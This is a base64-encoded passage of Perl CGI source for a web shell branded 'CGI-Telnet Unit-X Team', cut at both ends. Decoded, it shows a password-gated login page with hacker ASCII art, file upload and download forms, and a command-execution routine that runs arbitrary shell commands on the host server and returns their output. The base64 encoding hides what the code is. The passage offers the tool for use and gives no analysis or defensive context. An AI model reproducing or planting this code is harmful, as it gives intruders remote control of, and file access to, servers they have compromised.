aT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQv
LzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwg
PSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJ
CQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0g
JHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQs
IG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2gg
JGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAk
dmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygi
YyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9n
ZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlu
eyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMg
UHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyDQojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1l
IHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1
YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsN
CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIs
JDEpL2VnOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8
RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Vbml0LVggVGVhbTwvdGl0bGU+DQokSHRtbE1l
dGFIZWFkZXINCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBi
Z2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRo
PSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNl
bGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8dGQgYmdjb2xvcj0iI0MyQkZB
NSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPg0KPGI+PGZvbnQgY29sb3I9
IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iIzAwMDA4
MCI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiIgY29sb3I9IiMwMDk5MDAiPjxiPkNHSS1U
ZWxuZXQgVW5pdC14IFRlYW0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3Rk
Pg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBm
YWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9h
ZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2Ny
aXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmls
ZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9h
PiB8DQo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwuQ09NIj5IZWxwPC9hPg0KPC9mb250Pjwv
dGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj4NCkVO
RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVu
DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNz
YWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjZmYwMDAwIj4gX19fX18gIF9fX19fICBfX19fXyAg
ICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8NCi8gIF9fIFx8ICBfXyBcfF8g
ICBffCAgICAgICAgfF8gICBffCAgICAgIHwgfCAgICAgICAgICAgICB8IHwNCnwgLyAgXC98IHwg
IFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfDQp8IHwg
ICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBf
X3wNCnwgXF9fL1x8IHxfXCBcIF98IHxfICAgICAgICAgICB8IHwgIHwgIF9fL3wgfHwgfCB8IHx8
ICBfXy98IHxfDQogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8
X3wgfF98IFxfX198IFxfX3wgMS4wDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIA0KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gICAgICAgICAgICAgICAgICAg
ICAgX19fX19fICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+qSAyMDEw
LCBNci5oRXJvIFRlYW0gU25pcDNyPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4NCiAgICAg
ICAgICAgICAgICAgICAuLSZxdW90OyAgICAgICZxdW90Oy0uDQogICAgICAgICAgICAgICAgICAv
ICAgSEFDS0VSICAgXA0KICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8DQogICAgICAg
ICAgICAgICAgIHwsICAuLS4gIC4tLiAgLHwNCiAgICAgICAgICAgICAgICAgfCApKF9vLyAgXG9f
KSggfA0KICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8DQogICAgICAgKEBfICAgICAg
IChfICAgICBeXiAgICAgXykNCiAgXyAgICAgKSBcPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAw
Ij5fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5cPC9mb250Pjxmb250IGNvbG9y
PSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+fEZBV0Ezenw8L2ZvbnQ+
PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4vPC9m
b250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXw0KPC9mb250
Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5A
OEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAw
OTkwMCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNci5oRXJv
Ly18PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fX18m
Z3Q7PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4NCiAgICAgICAgKV8vICAgICAgICBcICAg
ICAgICAgIC8gDQogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWANCiAgICAgICAgICAgICA8
L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPlcgQSBSIE4gSSBOIEc6IFByaXZhdGUgU2VydmVy
PC9mb250PjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NClRyeWluZyAkU2Vy
dmVyTmFtZS4uLjxicj4NCkNvbm5lY3RlZCB0byAkU2VydmVyTmFtZTxicj4NCkVzY2FwZSBjaGFy
YWN0ZXIgaXMgXl0NCjxjb2RlPiRNZXNzYWdlDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFp
bGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1l
c3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGJyPmxvZ2luOiBhZG1pbjxicj4NCnBh
c3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQo8L2NvZGU+DQpFTkQNCn0NCg0K
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2lu
ZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJp
bnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIk
U2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9Imxv
Z2luIj4NCmxvZ2luOiBhZG1pbjxicj4NCnBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIg
bmFtZT0icCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0K
PC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBm
b290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmlu
dFBhZ2VGb290ZXINCnsNCglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2ll
cy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29v
a2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0
dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRj
b29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29r
aWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIjxjb2Rl
PkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOw0KfQ0K
DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3Mg
dGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJm
b3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3Zl
IHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRT
Y3JlZW47DQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBh
Z2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBp
cyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0K
IyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJ
ZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRl
cmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4N
CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2lu
UGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJT
ZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFk
ZXIoImMiKTsNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290
ZXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VI
ZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5l
ICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWls
ZWRNZXNzYWdlOw0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsN
Cgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0g
dGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5O
VCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwk
ICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIg
YWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIg
dmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRD
dXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1
dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0N
Cg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFs
bG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0K
c3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJl
bnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50
IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNj
cmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3Vy
cmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQi
Pg0KJFByb21wdCBkb3dubG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQi
IG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJt
aXQiIHZhbHVlPSJCZWdpbiI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNl
ciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVV
cGxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRt
aW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4N
Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9T
VCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmls
ZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9w
dGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3
cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJz
cDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9
ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRk
ZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoN
CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0
aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRl
IHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBV
bml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24g
TlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZigh
JFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQo8Y29kZT4N
CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9u
IHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQo8Y29kZT4NCkVORA0KCQkmUHJpbnRDb21tYW5k
TGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0
ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQg
YWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJl
Y3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRo
ZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQg
aXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91
dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8g
dGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVk
Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1
bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFu
ZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0
IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAk
Q3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJj
ZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7
DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGly
PiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiPGNvZGU+
JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21t
YW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJ
JFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1l
ICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9j
b2RlPjx4bXA+IjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRS
dW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQkkU0lHeydBTFJN
J30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24p
Ow0KCQl9DQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBn
ZW5lcmF0ZWQNCgkJew0KCQkJJHw9MTsNCgkJCSRDb21tYW5kIC49ICIgfCI7DQoJCQlvcGVuKENv
bW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJCXsN
CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCQlwcmludCAiJF9cbiI7DQoJCQl9DQoJCQkk
fD0wOw0KCQl9DQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0K
CQl7DQoJCQlwcmludCBgJENvbW1hbmRgOw0KCQl9DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCWFs
YXJtKDApOw0KCQl9DQoJCXByaW50ICI8L3htcD4iOw0KCX0NCgkmUHJpbnRDb21tYW5kTGluZUlu
